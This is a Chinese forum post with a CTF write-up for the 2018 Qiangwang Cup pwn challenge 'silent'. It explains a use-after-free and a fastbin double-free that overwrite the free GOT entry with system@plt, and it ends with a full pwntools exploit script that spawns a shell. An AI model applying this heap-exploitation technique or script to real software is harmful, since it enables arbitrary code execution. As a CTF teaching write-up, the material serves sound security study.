-
-
[原创]2018 强网杯 silent
-
发表于:
2018-4-15 16:00
7063
-
ida 直接f5 分析一波~
在del这个函数里
可以看到指针free后并没有置null 还有.bss段里的指针值也没清0
所以uaf 和 fastbin 的double free 都是可以用的 用这两个来干嘛呢?没错当然是用来overwrite got的
思路就是 先申请3 个 大小为0x60的chunk 在第3个chunk里边提前写好/bin/sh 为什要0x60的size呢? 因为我们要用fastbin 的 corrupt 申请到一块位于free got 前面的一块内存 这里的fake chunk 位置在0x601ffa 这里
然后我们对这个内存进行写就会覆盖掉free got 的值 这样我们overwrite got的目的就达到了
现在我们依次delete 0 delete 1 delete 0 这样fast bin的currupt就构造好了 然后因为uaf可以用 所以edit掉chunk0 的 fd 然后连续申请2次相同大小的chunk 在第二次就会让我们申请到free got 前面的地址 也就是 0x601ffa 这里
然后我们就可以对这块内存进行写 既然要overwrite free got 那我们要用什么来overwrite呢?
因为这里程序调用了system 函数 所以我们可以考虑用system的plt overwrite free的 got
那么在overwrite free got之前的值怎么办呢?直接一路padding过去就行了
然后free 之前申请的第3个chunk 就相当于执行了 system("/bin/sh")
总结:
uaf fastbin-doublefree fastbin-dup overwrite got
完整exp:
#!/usr/bin/env python
from pwn import *
r = process('./silent')
def add(size,content):
r.sendline('1')
r.sendline(str(size))
r.sendline(content)
r.sendline()
def delete(index):
r.sendline('2')
r.sendline(str(index))
def edit(index,content):
r.sendline('3')
r.sendline(str(index))
r.sendline(content)
system_plt = 0x400730
addr = 0x602000-6
print r.recv()
add(0x50,'A'*48) #0
add(0x50,'B'*50) #1
add(0x50,'/bin/sh') #2
#corrupt fastbin
delete(0)
delete(1)
delete(0)
#overwrite fd pointer of fastbin chunk
edit(0,p64(addr))
#fastbin dup
add(0x50,'3'*0x5f)
add(0x50,('\x41'*14)+p64(system_plt))
#trigger system
delete(2)
r.interactive()
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)